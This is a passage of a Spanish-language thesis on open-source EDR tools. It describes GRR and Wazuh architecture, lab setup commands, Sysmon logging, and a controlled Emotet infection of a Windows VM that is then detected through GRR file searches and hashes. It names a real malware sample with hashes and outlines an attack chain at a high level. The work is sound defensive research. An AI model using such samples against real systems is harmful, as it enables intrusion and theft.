multiplataforma extendiendo sus posibilidades de monitoreo
incluyendo sistemas Linux y OSX, es un proyecto que continla con
soporte y mantenimiento y cuenta con una documentacién que se
percibe bastante robusta respecto a su implementacion y
utilizacién. Este sistema ha sido elegido para investigacién y para la
PoC de este trabajo.

Osquery

Osquery se percibe como una herramienta bastante potente y
muchas soluciones EDR tanto comerciales como open-source se
basan en ella para realizar peticiones hacia los Endpoints, sin
embargo, esta solucién corresponde a la instalacién de los agentes
o clientes de monitoreo que pueden ser llamados remotamente por
la integracién de otros sistemas como Fleet y que se encuentra
documentada en un paper de investigaciéon del SANS Institute
"Exploring Osquery, Fleet, and Elastic Stack as an Open-source
solution to Endpoint Detection and Response".

El andlisis de esta solucion vale la pena por la integracion de estos
componentes con el fin de construir un EDR, sin embargo, en razén
a las acotaciones tiempo establecidas para el desarrollo de este
trabajo, no sera incluido para el desarrollo de la PoC. Una solucion
gue integra estas tecnologias sera tratada dentro del andlisis
detallado.

MIG

No se tomara en cuenta para revisarse en detalle por ser un
proyecto que, al no continuar con actualizaciones y soporte, puede
representar problemas en su implementacién, ademéas que el
proyecto en este estado seria de dificil adopcion en el entorno
empresarial productivo de una empresa.
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El andlisis del proyecto y su documentacién expone que WAZUH es
una herramienta bastante robusta de seguridad que posee
capacidades de identificacion, deteccién, monitoreo y respuesta
ante incidentes para los Endpoints que cubren el alcance de la
herramienta, cuenta con una interfaz grafica de graficos y v
tendencias que facilitan las labores de monitoreo por parte de
analistas e ingenieros de seguridad. La solucién esta ampliamente
extendida a sistemas Windows, Linux, OSX, sistemas de nube
AWS y Azure, ademds de sistemas virtuales y contenedores como
Docker.

WAZUH

LimaCharlie es descrito como una Platform as a Service PaaS, la
solucién es un sistema en nube que se gestiona desde alli mismo,
la instalacion de agentes para monitoreo de los Endpoints y contar
LimaCharlie | con funcionalidades adicionales requieren un pago para mantener X
la infraestructura gestionada. Este sistema no fue tomado como
parte de analisis adicionales en este trabajo dado que existen
restricciones y uso sin costo asociados para la implementacion.

Es un proyecto y solucién bastante similar a Google Rapid
Response, teniendo como acceso también una interfaz gréafica via
web, cuenta con soporte para diversos sistemas operativos y la
documentacion también se ve bastante completa. Aunque esta
plataforma puede ser interesante como parte de las pruebas a
efectuarse en la siguiente étapa, no sera incluida al ser escogido
GRR vy por las limitaciones en tiempo para el desarrollo de este
trabajo en el tiempo planteado.

Esta solucion tecnoldgica y las demas que no pudieron ser
revisadas a detalle son parte de una oportunidad futura de
investigaciones que tome otros alcances usando como insumo este
trabajo final.

Velociraptor

Tabla 1. Eleccién de sistemas EDR a profundizar e incluir e PoC

4.1 Arquitectura y disefio de estos EDR

4.1.1 GRR

Google Rapid Response GRR es un marco de trabajo completo enfocado en la
conduccion de procesos de respuesta a incidentes e investigacion de manera
remota’4. Su objetivo principal se centra en apoyar investigaciones y labores
forenses de una manera rapida y escalable que cubra conjuntos completos de
Endpoints que se encuentren integrados y monitoreados por el sistema.

Su arquitectura a alto nivel consiste en dos partes, los clientes y el servidor de
gestion.

14 Nota: La investigacion remota de Endpoints cobra vital importancia en un ambiente
empresarial donde, por restricciones geograficas, o de otra naturaleza, el acceso fisico a un
sistema por parte de un profesional en respuesta a incidentes o informatica forense puede
tomar gastos de tiempo valioso que es solventado a través de acceso remoto a uno o grupos
completos de equipos para efectuar actividades de contencion y remediacion de una
emergencia o crisis a nivel de seguridad.
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Componentes

Cliente GRR: Es desplegado a los sistemas que pueden ser sujetos de
investigacion o que pueden convertirse en parte de una investigacion a
demanda, es decir, una vez se cuenta con informacién de inteligencia que
amerite una revision en profundidad de manera remota, como puede ser una
estacion de trabajo, por ejemplo.

GRR dispone versiones cliente para Linux, OS X y sistemas Windows.
Cuenta con habilidades de analisis de memoria y reglas YARA.

Recoge informacion detallada de la CPU, memoria, entre otros factores del
estado del equipo.

Servidor: Sistema donde se centraliza e integra varios componentes que hacen
posible la operacion de la herramienta, ademas de la interfaz grafica web de
usuario para ver los datos recibidos de los Endpoints y su procesamiento.

En detalle, integra los siguientes elementos:

D {j‘\‘ Console
- g (S

~ T GRR Datastore
& GRR (S

=
Big Data Search
Datastore

\
30

Agents

llustracién 7. Arquitectura de GRR (Google Rapid Response).
Tomado de https://storage.googleapis.com/docs.grr-response.com/ACSC%202015-
%20Defending%20the%20Gibson%20in%202015.pdf

Datastore: EI almacén de datos actta como un componente de
almacenamiento central para los datos y es un componente que orguesta la
comunicacion de todos los componentes del servidor GRR.

Frontend servers: Su funcion principal es descifrar las solicitudes POST de los
clientes, desagrupar los mensajes contenidos y ponerlos en la cola de espera
del Datastore.

Workers: Con el fin de eliminar tareas de procesamiento de datos, GRR
implement6 este componente. Los trabajadores verifican las colas del almacén
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de datos para obtener respuestas del cliente, procesan nuevas solicitudes y
flujos de comunicacion.

Web Ul: Aplicacion central que permite al respondiente de incidentes o analista
forense interactuar con GRR vy facilita la conexién con la APl de desarrollo,
utilizada para labores de automatizacion e integracion con otros sistemas.

4.2.1 Wazuh

Es un sistema y plataforma gratuita y de libre implementacion de deteccién de
amenazas, monitoreo de seguridad, respuesta a incidentes y cumplimiento
regulatorio. Posee funcionalidades de monitoreo de Endpoints, servicios de
nube y contenedores, y con posibilidades de uso y analisis de datos con la
integraciébn de herramientas externas. Wazuh proporciona las siguientes
capacidades.

¢ Analitica de seguridad

e Deteccion de intrusos

¢ Andlisis de logs

e Monitoreo de archivos ante cambios (Integridad)
e Deteccion de vulnerabilidades

e Repuesta a incidentes

¢ Monitoreo de entornos en nube

e Seguridad de contenedores (Docker)

Monitoring

Q [ Applications j [ User behavior ] [ File integrity ] [ Containers & Cloud J

Detection

[ Intrusion attempts } [ Vulnerabilities J [ Malware activity ] [ Policy violations ]

Response

5@ [ Prevention J [ Forensics ] [ Telemetry ] [ Workflows J

llustracion 8. Caracteristicas de Wazuh.
Tomado de https://documentation.wazuh.com/3.10/getting-started/index.html

Componentes

Sus grandes componentes principales son los agentes (O clientes), que
reportan centralizadamente al servidor, y desde este se orquestan todas las
funcionalidades de la herramienta.
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Agente de Wazuh

El agente para instalacion y monitoreo sobre los Endpoints funciona en
Windows, Linux, Solaris, BSD y sistemas operativos Mac, pueden ser
empleados en sistemas fisicos, virtuales e instancias de nube.

Diversas actividades y procesos son desarrollados por los agentes para
monitorear la integridad de archivos, inspeccionar en eventos y logs y analizar
las configuraciones del sistema. A continuacién, se presenta el diagrama
relacionado al agente:

Configuration files A System events
ent
Syscheck € Log collector
Binaries Daemon Log files

CIS baseline checks.txt [M Modules
Rootcheck

Hardening checks.txt manager

cis-oel7-benchmark.xccdf

Open-SCAP

Scan results

llustracién 9. Estructura y componentes del cliente de Wazuh
Tomado de https://documentation.wazuh.com/3.10/getting-started/components.html#wazuh-
agent

ssg-centose-ds.xml

Rootcheck: Actividades relacionadas a deteccion de rootkits, malware y otras
anomalias que pueden percibirse sobre el sistema.

Log Collector: Componente que lee logs del sistema y logs de aplicaciones,
puede configurarse también para ejecutar y capturar datos periodicamente.

Syscheck: Monitoreo de integridad de los archivos, detecta cambios en el
contenido de los archivos, asi como la creacién y borrado de archivos.

OpenSCAP: Utiliza lineas base de seguridad OVAL (Open Vulnerability
Assessment Language) y XCCF (Extensible Configuration Checklist Description
Format). Monitorea los sistemas apoyado en estos estandares para determinar
aquellos que no estan siguiendo configuraciones seguras.

Agent Daemon: Recibe los datos generados y recolectados por otros
componentes del agente, los comprime, realiza un proceso de cifrado y los
proporciona al servido a través de un canal seguro.

Servidor de Wazuh

Se encarga de analizar la informacién proveniente de los Endpoints facilitada
por los agentes (O clientes) y generar alertas cuando un evento se correlaciona
con una regla de seguridad, como una intrusion, un cambio sospechoso en un
archivo, identificacion de un rootkit, etc.
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Analysis Remote ( )
Agent keys
Daemon Daemon L )
l Control
S binaries
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| alerts.json
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[ archives.json

|

I

Stats Data

____________

llustracion 10. Estructura y componentes del servidor de Wazuh
Tomado de Tomado de https://documentation.wazuh.com/3.10/getting-
started/components.html#wazuh-agent

El servidor por lo general se implementa en un uUnico sistema fisico, maquina
virtual o sobre una instancia de nube, los principales componentes del servidor
son:

Registration service: Usado para el registro de nuevos agentes a través del
aprovisionamiento de llaves de autenticacion que son Unicas para cada agente.

Remote Daemon service: Recibe los datos de los agentes. Utiliza llaves de
encripcion para validar la identidad del agente y para cifrar las comunicaciones
servidor — agente.

Analysis daemon: Realiza el analisis de datos. A través de decodificadores
identifica el tipo de informacion que sera procesada (como eventos de sistema,
logs de servicio web, etc.) y realiza una extraccion de los datos mas relevantes
en términos de seguridad de estas fuentes, como IPs, ID de eventos, entre
otros que pueden determinar la activacion de alertas y generar sugerencias de
respuesta, como el bloqueo de una IP en infraestructuras perimetrales como
firewalls u otros.

RESTful API: Proporciona una interfaz para gestionar y monitorear la
configuracion y observar el estado de los agentes, es usado también por la
interfaz web de Wazuh, que es el sistema Kibana.

Elastic Stack

Es una suite open-source desarrollada para la administracion de logs, incluye
Elasticsearch, Kibana, Filebeat entre otros. Los componentes mas relevantes
para Wazuh son:

Elasticsearch: Un potente motor de analisis y busqueda de texto.

Kibana: Una interfaz web para la visualizacién y analisis de datos.
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Filebeat: Componente que envia logs a través de una red, generalmente para
presentarlos a Elasticsearch.

Wazuh se integra con Elastic Stack para proporcionar una fuente de mensajes
de registro ya decodificados para que Elasticsearch los indexe, asi como una
consola web en tiempo real para alertas y andlisis de datos de registro.
Ademas, la interfaz de usuario de Wazuh (que se ejecuta en la parte superior
de Kibana) se puede usar para administrar y monitorear su infraestructura de
Wazuh.

4.2 Definiciones de Hardware / Software para desarrollo de PoC

Analizando la documentacién de los proyectos GRR y Wazuh, al tener
elementos comunes en la manera de trabajo y su arquitectura cliente—servidor,
el objetivo de la PoC es poder probar estos sistemas y sus capacidades frente
a amenazas e infecciones reales sobre el monitoreo de un Endpoint.

El ajuste del ambiente para la ejecucion del laboratorio se realizara en un
equipo anfitrion con las siguientes caracteristicas:

Sistema operativo: Windows 10 - 64 bits.
Procesador: Intel(R) Xeon(R) CPU E3-1505M v5 @ 2.80GHz 2.81 GHz
RAM: 64,0 GB

En cuanto al software empleado, se empleara VMware Workstation version 14
con el fin de virtualizar los sistemas descritos en la llustracion 11.

El diagrama a continuacion proporciona un esquema a nivel grafico de lo que
se pretende realizar para la PoC, donde se infectara deliberadamente un
cliente victima Windows con una variante de malware y que se encuentre
previamente registrada y monitoreada ante los servidores de GRR y Wazuh
respectivamente. Las pruebas se realizardn de forma separada cuidando que
se realicen en las mismas condiciones con el fin de observar las capacidades.

(S GRR

llustracion 11. Esquema gréafico de componentes para PoC
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5. Experimentacion y desarrollo de PoC

5.1 Configuraciones del ambiente

5.1.1 Servidor GRR

El servidor GRR se implementd un sistema Ubuntu de 64 bits siguiendo la guia
de configuracion proporcionada por la documentacién del proyecto en
https://grr-doc.readthedocs.io/en/latest/installing-grr-server/from-release-
deb.html

GRR se soporta sobre una base de datos MySQL como backend y es
necesaria para el funcionamiento correcto del servidor, esta configuracion se
podria realizar sobre la misma infraestructura fisica o en un sistema
independiente dependiendo de la arquitectura, disefio e implementaciones a
nivel empresarial que requieren sistemas dedicados y alto procesamiento. Para
esta PoC se realizaran las configuraciones sobre un Unico sistema.

A continuacion, se presenta con un nivel de detalle moderado los pasos
necesarios para la creacion y construccion del ambiente, éstos deben ser
ejecutados con privilegios administrativos.

Instalacion de la base de datos:
apt install -y mysgl-server

Se lanzara una ventana directamente en la shell de comandos solicitando la
contrasefia del usuario ‘root’ de la base de datos, el proceso continla como se
detalla en los demas comandos de configuracion.

nysql -u root -p Solicitara la contrasefia del usuario root (la que fue asignada
previamente).

mysgl> SET GLOBAL max allowed packet=41943040;

mysgl> CREATE USER 'grr'@'localhost' IDENTIFIED BY 'password';
mysql> CREATE DATABASE grr;

mysgl> GRANT ALL ON grr.* TO 'grr'@'localhost';

Se debe tener en cuenta que el valor max_allowed_packet no debe ser inferior
a 20971520. La creacién de un usuario adicional es opcional ya que es posible
usar las credenciales del usuario root para operar la base de datos, sin
embargo, las buenas practicas de seguridad lo recomiendan para evitar el uso
en todo sistema de cuentas de “super administrador” o que poseen todos los
privilegios administrativos habilitados.

Se descarga la ultima version deb de GRR a la actualidad.

wget https://github.com/google/grr/releases/tag/v3.3.0.8

Se instala el servidor y sus dependencias.
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sudo apt install -y ./grr-server 3.3.0-8 amdé64.deb

Una vez se encuentre instalado, grr-server deberia estar disponible y activo con
el comando systemctl status grr-server recibiendo un mensaje similar al

siguiente:

ST n~S systemctl status grr-server

@grr-server.service - GRR Service
Loaded: loaded (/lib/systemd/system/grr-server.service; enabled; vendor prese
Active: active (exited) since dom 2019-11-17 16:04:41 COT; 39min ago

Docs: https://github.com/google/grr
Process: 1007 ExecStart=/bin/systemctl --no-block start grr-server@admin_ui.se
Main PID: 1007 (code=exited, status=0/SUCCESS)
CGroup: /system.slice/grr-server.service

llustracién 12. Verificacion del estado del servidor GRR

Una vez instalado el servidor y al acceder a su interfaz grafica via web con la IP
del servidor y una direccion en esta forma nccp://Grr 1P ADDRESS:8000

5.1.2 Servidor Wazuh

El proyecto provee una maquina virtual basada en 64 bits con fines de testeo y
para conocer el funcionamiento del sistema, posee las siguientes
caracteristicas:

e CentOS7

e Wazuh 3.10.2

e Wazuh API 3.10.2

e Elasticsearch 7.3.2

e Filebeat 7.3.2

e Kibana 7.3.2

e Wazuh app 3.10.2-7.3.2

El acceso a esta maquina virtual una vez se encuentra encendida tiene las
credenciales “root/wazuh”.

Configuraciones adicionales fueron realizadas en el archivo local_rules.xml en
la siguiente ruta del servidor

/var/ossec/etc/rules/local rules.xml

El archivo reemplazado en esta ruta corresponde a una serie de reglas que
contribuyen a la mejora en la deteccion de Wazuh que son de uso libre en el
recurso de GitHub https://github.com/sametsazak/sysmon. Estas reglas de
deteccion pertenecen a la herramienta Sysmon, el cual sera configurado en el
siguiente apartado de construccién de la maquina victima.
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El acceso a Wazuh a su consola grafica y de gestion se realiza a través de un
navegador web en ncips://pireccion e wazun, donde el valor de la IP
corresponde a la direccion del servidor y se obtiene a través del comando
=ddr en CentOS, sistema operativo donde se encuentra Wazuh en la maquina
virtual ofrecida para pruebas por sus desarrolladores.

Por otra parte, es posible configurar localmente elementos adicionales para
cada Endpoint en el archivo ossec.conf que se crea como parte del sistema de
archivos del agente, alli es posible incluir la lectura del log de Sysmon dado
gue no es una funcionalidad de Wazuh por defecto. Lo anterior puede ser
replicado de dicha manera a gran escala al interior de una organizacion, sin
embargo, la mejor opcion puede hacerse de manera centralizada en el servidor
de Wazuh a través del archivo agentconf en la ruta

Jossec/etc/shared/default . La informacién que se incluya en el archivo sera

parte de mformaaon complementaria recoleccion de logs para Wazuh. La
imagen a continuacion ilustra la edicion de éste para la PoC incluyendo
Sysmon, eventos del Antivirus Windows Defender que viene por defecto en
sistemas Windows, y actividad de comandos WMI que actualmente es muy
usada por amenazas recientes.

[rootEwazuhmanager defaultlf pud
svarsoszecsetcs/shared-defaunlt
[rootEwazuhmanager defaultl#f more agent.conf
<agent_conf ig>
¢t-- Shared agent configuration here -->
<localfile>
<location>Microsof t-Windows-Sysmon-Operational </location>
<log_format>eventchannel<-/log_format>
<slocalfile>
<localfile>
<location>Microsof t-Windows-Windows Defender~Operational<-location>
<log_format>eventchannel<-log_format>
<slocalfile>
<localfile>
<location>Microsof t-Windows-WHMI-Activity-Operational<-location>
<log_format>eventchannel<-log_format>
<slocalfile>

llustracién 13. Configuracion centralitzada monitoreo logs cliente en Wazuh

5.1.3 Equipo victima Windows 10

Con el fin de emular un equipo que puede ser parte de un ambiente tecnoldgico
empresarial, se emple6é una version Windows 10 Enterprise de 64 bits. Este
tipo de sistemas son de uso comun por roles administrativos y otros que
realizan labores de analisis, uso de Microsoft Office y correo electronico.

Este sistema fue instalado sin ninguna configuracién o software especial
adicional a excepcién de Microsoft Office 365 y la herramienta System Monitor
(Sysmon)*® de la suite Sysinternals Tools. Esta Ultima fue desarrollada de
manera especial por Microsoft para obtener mayor trazabilidad sobre las

15 https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
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acciones del sistema como la ejecucion de programas, conexiones de red a
nivel de IP y dominios, ademés de contar con logs de acciones realizadas en
linea de comandos; llegar a identificar su implementacion en ambientes de
empresa es un beneficio para los roles de respuesta a incidentes, analistas
forenses y que desempefian funciones de caza de amenazas, consideradndose
un artefacto forense de alto valor que proporciona inteligencia accionable
durante la investigacién por un incidente de seguridad; desafortunadamente no
es una funcion predeterminada de sistemas Windows.

Sysmon puede ser instalado en forma estandar o con un archivo de
configuracion que refine y acote los eventos registrados, se instalé sobre el
sistema Windows con el archivo sysmonconfig-export.xml que es de libre uso
en el repositorio GitHub https://github.com/SwiftOnSecurity/sysmon-config con
la siguiente linea de comando:

Sysmon64.exe -accepteula -i sysmonconfig-export.xml

Sysmon cuenta con versiones de 32 y 64 bits, el comando anterior representa
la instalacion en su version de 64 bits, que fue empleada en la ejecucion de
pruebas del presente trabajo.

La instalacion de Sysmon consiste en la creacion de un log adicional parte del
visor de eventos de Microsoft, el archivo Microsoft-Windows-
Sysmon/Operational. El log cuenta con trazabilidad de los siguientes eventos:

catgor Ceventip
Process Create 1
Process Terminated 5
Driver Loaded 6
Image Loaded 7
File Creation Time Changed 2
Network Connection 3
CreateRemoteThread 8
RawAccessRead* 9
Sysmon Service State Change 4
Error 255

llustraciéon 14. Eventos capturados por Sysmon
Tomado de
https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2575&ithint=file%2cpptx&authk
ey=!AGFBok7JLkOZSgE

5.2 Emotet - Muestra de malware seleccionada

En la actualidad, una de las categorias mas grandes de malware que han
constituido casos mediaticos presentados en Internet, television, redes sociales
y otros medios de difusion a nivel mundial por su impacto y pérdidas
econdmicas asumidas por diferentes tipos de organizaciones, corresponden a
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familias de ransomware, que es una vertiente de software malicioso que ataca
el contenido de archivos sobre un sistema de cémputo aplicando algoritmos de
criptografia que cifran los ficheros e impiden su visualizacion y uso solo hasta
ser desbloqueados con una llave (O contrasefia) para su descifrado. La
amenaza cibernética crea un mensaje con instrucciones puntuales al usuario
final para efectuar un pago para recibir del atacante la llave, asociandose a una
forma rescate por la recuperacion de los archivos y su informacién
almacenada. La amenaza mas representativa en este aspecto fue la conocida
como Wannacry en 2017, que afectd a Telefonical®, siendo quizas el ataque
cibernético mas famoso de la actualidad, tras las operaciones del grupo
Carbanak!’ del afio 2014.

Al desarrollo de esta investigacion (Noviembre 2019) recientemente se han
conocido casos mediaticos y de impacto considerable por ransomware
puntualmente en Espafia y México en las compafiias Everis, la cadena de radio
SER y Petr6leos Mexicanos (PEMEX).

@ ProtAAPP ,. R
WAPP  @ProtAAPP h Seguir vy v

El ataque a Everis: comprometen web externa,
usuario de Everis la visita, se descarga un fake
update de Chrome como un .js, usuario
ejecuta el js, descarga Emotet (.exe), se
instala Empire, fase de captura de
credenciales, hasta que despliegan BitPaymer.
virustotal.com/gui/user/Pussy ...

llustracién 15. Datos sobre el ataque efectuado a Everis
Tomado de Twitter - https://twitter.com/ProtAAPP/status/1192064195597963265

Estos casos en Europa y América Latina relacionados al malware Emotet,
desplegaron amenazas de ransomware Bitpaymer'® y DopplePaymer®® en los
casos de Esparfia y México respectivamente.

16 hitps://www.bleepingcomputer.com/news/security/telefonica-tells-employees-to-shut-down-
computers-amid-massive-ransomware-outbreak/

17 https://www.kaspersky.com/blog/billion-dollar-apt-carbanak/7519/

18 Mayor detalle acerca del ataque en
https://www.virustotal.com/qui/user/PussylLover/comments

19 hitps://www.excelsior.com.mx/nacional/exigen-a-pemex-49-millones-de-dolares-
ciberdelincuentes-demandan-pago/1347395
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5.2.1 Algunos datos sobre Emotet

Es un software malicioso categorizado como troyano, correspondia a un
malware bancario que fue identificado por primera vez hacia el afio 2014, sus
objetivos iniciales consistian en el robo de informacion. Al malware se han
afiadido nuevas funcionalidades que lo potencian y lo hacen aliin mas peligroso
infectando organizaciones con redes de equipos y tecnologia a gran escala, su
propagacion puede darse a través de campafias de phishing a buzones de
correo sin ningun criterio especial, o dirigido con el fin de atacar un grupo o
empresa puntual, técnica conocida como spear-phishing.

Ataques mas sofisticados efectuados por atacantes para infectar con Emotet
diferentes a Phishing, son aquellos conocidos como “drive by download”, que
implica la ejecucién del malware por acciébn humana de la victima con la excusa
de visualizar todo o parte del contenido de un sitio web comprometido, 0
efectuar una actualizacion al navegador, permitiendose la instalacion del codigo
malicioso en el sistema sin ser percibido por la victima.

Con el fin de realizar la PoC, se ha escogido esta amenaza puntual con el fin
de infectar deliberadamente el sistema configurado como victima. La variante
de Emotet en este caso se encuentra al interior de un documento Microsoft
Word (.doc). Microsoft por proteccion del usuario luego de identificar que
actores maliciosos desarrollaban codigo en estos documentos, decidid
restringir la ejecucion de macros de manera predeterminada, para que la
amenaza se ejecute, es necesario dar clic y aceptar el acuerdo de licencia...
Como bien lo sugiere el atacante al disefiar el archivo.

jar N X S -+ abe x, X > ® . A
! 54 ==

apeles 1% Fuente . Parr

(]
1]
il
1]
it
¥

T Normal | T Sin espaci... Titulo 1

afo ‘ Estilos

©

Advertencia de seguridad Se deshabilito parte del contenido activo. Haga clic para obtener mas detalles. Habilitar contenido

:“" Microsoft

Accept the license agreement

You can use Microsoft Word until Friday, September 20, 2019.
After that date, most features of Microsoft Word will be disabled.

To accept and start Word click Enable Editing and click Enable Content

llustracién 16. Archivo malicioso con Emotet en su contenido
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Muestra Nombre: emotet.doc
emotet Cambiado a citacién.doc con motivos de esta prueba
MD5: B92021CA10AED3046FC3BESAC1C2A094.
Valores SHA1: OFB1AD5B53CDD09A7268C823EC796A6E623F086F
hash
SHA?256:
C378387344E0A552DC065DE6BFAG607FD26E0OB5C569751C79FBFOC6F2E91C9807
Mayor .
. ., https://app.any.run/tasks/3363fde4-111b-4aaa-b73d-e4144433c284/
informacion

Tabla 2. Informacién relevante malware Emotet

5.3 Ejecucién de amenaza y resultados EDR

La PoC desarrollada consiste en la ejecucion del malware Emotet sobre el
sistema victima, el cual se encuentra bajo monitoreo previo mediante la
instalacion de agentes cliente con el fin de obtener la visibilidad del Endpoint
correspondiente en las consolas graficas de los servidores GRR y Wazh
implementadas. Estas pruebas se realizaran de manera separada y con
monitoreo independiente de la maquina victima, empleando instantaneas o
snapshots del sistema para garantizar que el monitoreo se realiza en las
mismas condiciones en cada caso.

5.3.1 Experimentacion con GRR

Una vez instalado el servidor y al acceder a su interfaz grafica via web con la IP
del servidor y una direccion en esta forma nccp://crr 1P 2pDRESS:8000 desde un

navegador web, podemos obtener los agentes de instalacion para despliegue
de los clientes:

Settings darwinfinstallers / grr_3.3.0.8_amd64 pkg

Ariacts linuxiinstallers / grr_3.3.0.8_amd&4 dsb
linuxfinstallers / grr 3.3.0.8 amd64.rpm
linuxfinstallers / grr_3.3.0.8_i386.deh
linuxiinstallers / grr_3.3.0.8_i386.rpm
windowslinstallers / dbg GRR_3.3.08 amdbtd exe
windowsl/installers / dbg GRR_3.3.0.8 i386.exe

windowsl/installers / GRR_3.3.0.8_amd64 exe

windowslinstallers  GRR_3.3.0.8_i386 exs

llustracion 17. Agentes de instalacion disponibles desde el servidor GRR

El agente se puede instalar de manera remota a través de herramientas como
psexec u otros medios para implementacion a escala como reglas de Directorio

32



https://app.any.run/tasks/3363fde4-111b-4aaa-b73d-e4144433c284/

Activo entre otros, en la consola de GRR se reportaran los clientes para
obtener visibilidad del Endpoint a través del servidor.

Online Subject Host 0S8 Version MAC Usernames First Seen C“e'?t
version
- MNoriben- 00:0¢:29:27:da:51 . caan "
@  C90fecd9957779%a5 BC localdomain 6.1.7600SP0 94-39 05 aa 2002 Noriben 2019-11-24 21:54:10 UTC | 3308

llustracion 18. Equipo victima de la PoC monitoreado por GRR

GRR tiene un codigo de colores en el cual se puede identificar el estado de de
los clientes conectados a él, en verde se detalla estado activo o encendido del
equipo remoto, si estuviera inactivo, el color cambia a amarillo, y finalmente en
rojo si no se percibe comunicacion con el agente o el endpoint monitoreado se
encuentra apagado.

La amenaza de malware ejecutada se realizO desde la localizacion de
descargas del equipo victima, simulando un caso comun de phishing donde el
usuario descarga el archivo y busca observar su contenido. EI nombre del
archivo es citacion.doc, que puede correspoder a un escenario en el que se
engafa a la victima provocando una sensacion de urgencia en algun aspecto.

Desde GRR es posible detectar esta amenaza mediante una busqueda de
archivos a través de la ejecucién de un nuevo flujo con la opcion “Start New
Flows” en el menu izquierdo de opciones de GRR.

A través de la opcion File Finder, es posible realizar una busqueda sobre el
Endpoint del archivo malicioso con el fin de confirmar rapidamente un posible
compromiso del equipo e incluso recolectar el archivo remotamente con fines
de analisis. En el caso que se observara a continuacion, se realizd una
busqueda puntual del nombre del archivo (citacion.doc), no obstante, es posible
efectuar una busqueda de ficheros con esta extension de la forma **.doc.

------ Checks
______ Collectars %%users.homedir¥%/**10/citacion.dod|
------ FileTypes

‘ Pathtype 0S (default) M
Lo Filesystem
: Client Side File Finder
File Finder

GetMBR

Conditions +

Action

e ListVolumeShadowCopies Action Stat (default)

------ Mermory

...... Network Resolve links

llustracion 19. Busqueda de archivo sospechoso

El comando anterior %%users.homedir%%)\**10\citacion.doc corresponde a
una busqueda alrededor de todos los usuarios de sistema, y con una
profundidad de 10 directorios adicionales (**10), realiza inspeccién de un
archivo denominado citacion.doc. Los resultados de la ejecucion de este flujo
se observan a continuacion.
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Launched Flow FileFinder:

Lim aff4./C.cB80a15f87edc/ Tha/SBGSEBE4
bB65EBE4
C.c80a15f87edciTha | 6
FileFinder
Paths %e%users homedir?a %/ 10/citacion doc
Args Action STAT
""""" Action Gollest extendad
Stat ; false
attrihutes

Matify at Completion  true

Client id C.cB0a15f8Tedci7ha &
Flow name FileFinder
RUNNING

2019-11-25 02:22:24 UTC
2019-11-25 02:22:24 UTC
admin

llustracion 20. Informacién de flujo y busqueda ejecutada

Informacion mas detallada puede observarse en la opcién “Managed launched
flows” de GRR, donde se condensa entre los resultados la informacién
correspondiente a la ruta completa en la cual se encuentra el archivo en la
carpeta de Descargas del usuario Noriben (C:\Users\Noriben) en la parte
inferior de la imagen a continuacion.

Value
aff4:/C.c80a15f8TedcT7Tbalfs/os/C:/Users/Nariben/Downloads/citacion.doc
St dev
St nlink
St vid
St gid
Payload Stat entry St size 143202

St atime 2019-11-18 12:08:52 UTC
2019-11-18 12:08:52 UTC
2019-11-18 12:08:52 UTC

Pathtype 0s
Path IC:/Users/Noriben/Downloads/citacion.doc

llustracién 21. Resultados e identificacion puntual de archivo sospechoso

En la parte superior de la imagen encuentra un link o hipervinculo con el cual
GRR presenta el archivo en la ruta en la cual fue identificado a través del arbol
de archivos del sistema, donde se puede obtener remotamente la muestra o
incluso observar sus valores hash con el fin de confirmar la posibilidad de
compromiso sobre este host.
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& Internal IP address. A= il < fs> os> C:> Users> Noriben Downloads

#-- U Users lcon  MName st_size st_mtime st_ctime GRR Snapshot
Host Information &[] Noriben
Start new flow citacion.doc 143202 & 2019-11-18 12:08:52 UTC 2019-11-18 12:08:52 UTC 2019-11-25 02:53:02 UTC
Start new flows v 1] Downloads
Browse Virtual Filesystem 1 tsk
Manage launched flows 0 temp
Advanced ~ o
e 1) registry

Crashes s> os> C Users > Noriben Downloads

Debug Client Requests . .

it Load Stts citacion.doc HEAD
Cron Jobs Stats Download | TextView  HexView
Hunts
Statistics Hash

Sha2s6 ©€378387344e0a5 d 751cT 919807
Binaries Shal 0fb1ad5b53cdd09a7266c823ec796a626231086F
o Mds b92021ca10asd3046fc3bebac1c2alsd

Settings Nym bytes 143202
Artifacts

Last Collected
2019-11-25 02:53:02 UTC

llustracion 22. Arbol de archivos y valores hash del archivo sospechoso

La verificacién de este valor hash, fue inspeccionado en VirusTotal, que es una
fuente adicional de inteligencia que puede ser usada con la informacién
recolectada con GRR.

Z C378387344e0a552dc065de6bfab071d26e0b5Cc569751CT9b9Cc6f2e91C9807

43 (1) 43 engines detected this file

c378387344e0a552dc065debbifab07fd26e0b5c569751cT9fbf9ct2e91c9807

° Anhang_2019.doc
- attachment create-ole docx hide-app Macros obfuscated
Community
Score
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

Ad-Aware (1) W97M Downloader IHA AegisLab
AhnLab-V3 (D) vBA/Downloader.547 Alibaba
AlYac \_', Trojan.Downloader.DOC.Gen Arcabit

llustracién 23. Confirmacion que el archivo corresponde a malware

GRR puede ser utilizado para inspeccionar también el registro de Windows y
revisar llaves puntuales que son creadas de manera comdn por malware para
crear persistencia y mantener el endpoint comprometido incluso si este es
reiniciado, por otra parte puede recoger logs y otros artefactos del sistema que
proporcionan un analisis como parte del incidente y de informéatica forense.

La recoleccion de logs del visor de eventos es una de las funcionalidades de
GRR, como ejemplo se realizé la busqueda del log de Sysmon y se descargo
para analisis adicionales con otras herramientas o a traveés del visor de eventos
proporcionado de manera nativa por los sistemas Microsoft Windows.
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- fs . —
:jujus & | &R | | [p| - | Fiterkems T 7 Erielist D Timelne  ~

- C s> os> C: Windows System32 winevt Logs
i i Users Icon Name st_size st mtime st_ctime GRR Snapshot
4 L Windows Mi ft-Wind. 2166784
: icrosoft-Windows- ’ L : T ’
.. [|] System32 I e mon el Operationsllevis L 2019-11-25 02:27:02 UTC  2019-11-25 01:59:42 UTC  2019-11-25 03:12:00 UTC
4. 1] winevt
e 1] Logs ”"-"--'0- oo T T -
L Sysmon%40Operational.evtx
U] temp
- 1l,] registry Stats. Download TextView HexView
Hash
Sha2s6 T728f8566b780ca7e7d392dd1473c9b1a490act 1e9eabbeblaced28c787f3Ta9
Shal 8436560a809449eb24b688839dad7{41f22021fb
Mda 2694d8c395588b67c28c29e7541c634f
Num bytes 2166784

Last Collected
2019-11-25 03:12:00 UTC
Download

Download (2166754 bytes)

llustracion 24. Bisqueda y recoleccion del log Sysmon del sistema

